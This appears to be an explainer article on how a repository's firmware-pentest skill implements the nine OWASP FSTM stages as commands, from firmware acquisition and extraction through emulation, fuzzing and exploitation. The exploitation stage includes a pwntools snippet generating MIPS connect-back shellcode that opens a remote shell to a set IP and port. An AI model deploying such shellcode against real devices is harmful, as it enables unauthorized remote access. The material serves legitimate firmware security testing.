How the firmware-pentest Module Implements the OWASP FSTM Chain: A Complete Technical Breakdown

The firmware-pentest skill encodes the complete OWASP FSTM nine-stage security testing methodology as a deterministic, tool-backed workflow where each stage maps to concrete commands, reference documents, and automated environment checks.

The OWASP Firmware Security Testing Methodology (FSTM) defines the industry-standard approach for analyzing embedded device firmware. In the zhaoxuya520/reverse-skill repository, the firmware-pentest module operationalizes this entire chain—from initial reconnaissance through exploit generation—within a single, self-contained skill structure. This article examines how each FSTM stage translates into executable commands and reference documentation.

OWASP FSTM Stage 1: Information Gathering

Information gathering in the firmware-pentest skill focuses on device fingerprinting and threat intelligence collection.

The skill directs analysts to collect:

• Device model and hardware revision
• Chipset architecture and SDK version
• Known CVEs affecting the target platform
• FCC ID registrations for regulatory filings

Source location: [SKILL.md lines 70-80](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L70)

# Query FCC ID database for device internals

curl -s "https://fccid.io/?q=$FCC_ID"

This stage establishes the foundation for all subsequent analysis by defining the target's technical surface area.

OWASP FSTM Stage 2: Obtaining Firmware

The skill implements four distinct firmware acquisition paths to handle diverse deployment scenarios.

Acquisition Method	Tool/Technique	Use Case
Vendor download	Direct HTTP/HTTPS download	Official release images
OTA capture	mitmdump proxy	Over-the-air update interception
UART dump	picocom serial console	Bootloader extraction
SPI flash extraction	flashrom	Physical chip dump

Source location: [SKILL.md lines 84-96](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L84)

# OTA interception example

mitmdump -s save_response.py

# UART serial connection

picocom -b 115200 /dev/ttyUSB0

# SPI flash read with flashrom

flashrom -p ft2232_spi:type=2232H,port=A -r firmware.bin

The skill includes decision logic for selecting the appropriate path based on physical access level and target architecture.

OWASP FSTM Stage 3: Analyzing Firmware

Pre-extraction static analysis validates firmware integrity and identifies obfuscation before resource-intensive unpacking.

The skill performs quick checks using:

• Magic number verification — confirms file format alignment
• Entropy analysis — detects compression or encryption
• String extraction — surfaces hardcoded artifacts
• file and hexdump — inspect headers and structure

Source location: [SKILL.md lines 99-109](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L99)

# Entropy visualization for encrypted/obfuscated regions

binwalk -E firmware.bin

# Quick string harvest for credentials and URLs

strings -n 8 firmware.bin | less

# File type verification

file firmware.bin
hexdump -C firmware.bin | head -50

These checks prevent wasted effort on corrupted or unexpectedly formatted images.

OWASP FSTM Stage 4: Extracting Filesystem

The extraction methodology reference document implements multi-tool fallback chains for robust filesystem recovery.

Primary extraction tools:

• binwalk -eM — recursive, multi-depth extraction
• unblob — alternative extractor for edge cases
• jefferson — JFFS2 filesystem support
• ubireader — UBI/UBIFS handling

Source locations: [SKILL.md lines 111-121](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L111) and [extraction-methodology.md](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/references/extraction-methodology.md)

# Standard binwalk recursive extraction

binwalk -eM firmware.bin

# Alternative unblob extraction

unblob -d out/ firmware.bin

# JFFS2-specific handling

jefferson rootfs.jffs2 -d rootfs/

# UBI extraction

ubireader_extract_files rootfs.ubi

Critical decision logic: "提取失败不等于固件加密，先跑全部提取工具" (extraction failure does not equal firmware encryption—run all extraction tools first). This prevents premature conclusions about encryption when simpler format mismatches may be the cause.

OWASP FSTM Stage 5: Filesystem Static Analysis

EMBA (Embedded Analyzer) provides automated binary-level auditing, supplemented by manual credential and configuration grep patterns.

The skill integrates EMBA as:

# One-line EMBA execution with default scan profile

sudo emba -l ./logs -f ./firmware.bin -p ./scan-profiles/default-scan.emba

Manual static analysis targets:

• Hardcoded credentials in configuration files
• Weak binary protections (NX, ASLR, stack canaries)
• Dangerous function patterns (strcpy, system, eval)

Source locations: [SKILL.md lines 122-138](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L122) and [emba-automated-analysis.md](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/references/emba-automated-analysis.md)

EMBA generates an HTML report consolidating findings across firmware versions andthird-party components.

OWASP FSTM Stage 6: Emulating Firmware

The skill provides dual emulation strategies matched to analysis objectives:

Mode	Tool	Scope	Use Case
User-mode	qemu-*-static	Single binary	Quick function testing
Full-system	FAT / Firmadyne	Complete image	Service interaction, network testing

Source locations: [SKILL.md lines 138-148](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L138) and [emulation-and-fuzz.md](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/references/emulation-and-fuzz.md)

# Full-system emulation with Firmware Analysis Toolkit

sudo fat.py firmware.bin

# User-mode ARM binary emulation

qemu-arm-static -L /usr/arm-linux-gnueabihf ./target_binary

FAT (Firmadyne-based) automatically handles kernel extraction, network bridge configuration, and service startup detection.

OWASP FSTM Stage 7: Dynamic Analysis

Post-emulation, the skill attaches runtime inspection tools to observe actual behavior:

• gdb-multiarch — cross-architecture debugging
• Network traffic capture — tcpdump for service enumeration
• Burp Suite proxy — web UI vulnerability assessment

Source location: [SKILL.md lines 150-162](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L150)

# GDB remote debugging (MIPS example)

qemu-mipsel-static -g 1234 ./vuln_binary &
gdb-multiarch ./vuln_binary -ex "target remote :1234"

# Network capture during emulation

tcpdump -i tap0 -w emulation_traffic.pcap

This stage bridges the gap between static findings and exploitable runtime conditions.

OWASP FSTM Stage 8: Runtime Analysis

Coverage-guided fuzzing with AFL++ in QEMU mode identifies memory corruption vulnerabilities without source code access.

The skill implements desocketing for network service fuzzing:

# AFL++ QEMU-mode fuzzing with desock shim

AFL_PRELOAD=./libdesock.so afl-fuzz -Q -i in/ -o out/ -- ./httpd @@

Source location: [SKILL.md lines 163-171](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L163)

Key configuration: AFL_PRELOAD injects libdesock.so to convert network I/O into file-based fuzzing inputs, eliminating socket handling complexity.

OWASP FSTM Stage 9: Exploitation

The final stage produces weaponized proof-of-concepts using standard offensive security tooling:

• pwntools — exploit development framework
• ropper — ROP gadget discovery
• asm/objcopy — shellcode assembly and extraction

Source location: [SKILL.md lines 172-187](https://github.com/zhaoxuya520/reverse-skill/blob/main/skills/firmware-pentest/SKILL.md#L172)

# Generate MIPS connect-back shellcode with pwntools

python3 - <<'PY'
from pwn import *
context.arch = 'mips'
payload = shellcraft.connect('192.168.1.100', 4444) + shellcraft.dupsh()
print(payload)
PY | as -EL -mips32 -o sc.o - && objcopy -O binary sc.o sc.bin

# ROP gadget search

ropper --file ./vulnerable_binary --chain "execve"

Environment Verification and Tool Bootstrapping

The firmware-pentest skill enforces environment readiness through automated checks:

• Tool availability verified against tool-index.md
• Missing dependencies trigger "按需自举" (on-demand bootstrapping)
• Architecture-specific QEMU binaries validated before emulation stages

This guarantees executable workflows across different analyst environments.

Key Architectural Files

File	Purpose	Location
SKILL.md	Master FSTM workflow definition	skills/firmware-pentest/SKILL.md
extraction-methodology.md	Filesystem extraction commands and fallbacks	skills/firmware-pentest/references/extraction-methodology.md
emba-automated-analysis.md	EMBA configuration and report interpretation	skills/firmware-pentest/references/emba-automated-analysis.md
emulation-and-fuzz.md	Firmadyne/FAT setup and AFL++ integration	skills/firmware-pentest/references/emulation-and-fuzz.md
tool-index.md	Tool inventory and bootstrap procedures	skills/firmware-pentest/references/tool-index.md

Summary

• The firmware-pentest module implements all nine OWASP FSTM stages as deterministic, tool-backed workflows in zhaoxuya520/reverse-skill.
• Each stage maps to concrete commands, reference documentation, and decision logic rather than abstract guidance.
• Multi-path fallback strategies handle extraction failures and emulation complexity without manual tool selection.
• Automated environment checks via tool-index.md ensure reproducible execution across analyst systems.
• The complete pipeline—from curl for information gathering through pwntools for exploit generation—operates from a single skill entry point.

Frequently Asked Questions

What is OWASP FSTM and why does the firmware-pentest skill use it?

OWASP FSTM (Firmware Security Testing Methodology) is a nine-stage framework for systematic embedded device security assessment. The firmware-pentest skill uses it as an architectural backbone because it provides comprehensive coverage from reconnaissance through exploitation, with each stage producing verifiable artifacts. The skill's SKILL.md structure mirrors these stages exactly.

How does the skill handle firmware extraction when standard tools fail?

The skill implements explicit fallback logic in extraction-methodology.md: when binwalk fails, it automatically chains unblob, jefferson, and ubireader based on observed filesystem signatures. The guiding principle—"extraction failure does not equal firmware encryption"—prevents analysts from incorrectly assuming cryptographic protection when simpler format mismatches may be responsible.

What emulation options does the firmware-pentest skill provide?

The skill offers two emulation tiers: user-mode via qemu-*-static for rapid single-binary testing, and full-system via FAT/Firmadyne for complete network service interaction. Selection depends on whether the analysis target is a specific vulnerable function or a multi-service firmware image requiring authentic runtime behavior.

Can the firmware-pentest workflow run without manual tool installation?

Yes. The skill's "按需自举" (on-demand bootstrapping) system checks tool-index.md against the current environment and automatically installs missing dependencies—including AFL++, EMBA, and architecture-specific QEMU builds—before executing stage commands.

{
  "mcpServers": {
    "instagit": {
      "command": "npx",
      "args": ["-y", "instagit@latest"]
    }
  }
}